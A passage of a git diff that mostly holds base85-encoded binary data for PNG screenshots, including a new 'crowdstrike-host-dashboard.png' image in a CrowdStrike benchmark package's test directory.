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 MBVX5ib?W?o0CRm1K>z>% literal 0 HcmV?d00001 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png new file mode 100644 index 0000000000000000000000000000000000000000..76ee9eeca70810658fcc1b4dda6c04d7179f6c2f GIT binary patch literal 213390 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 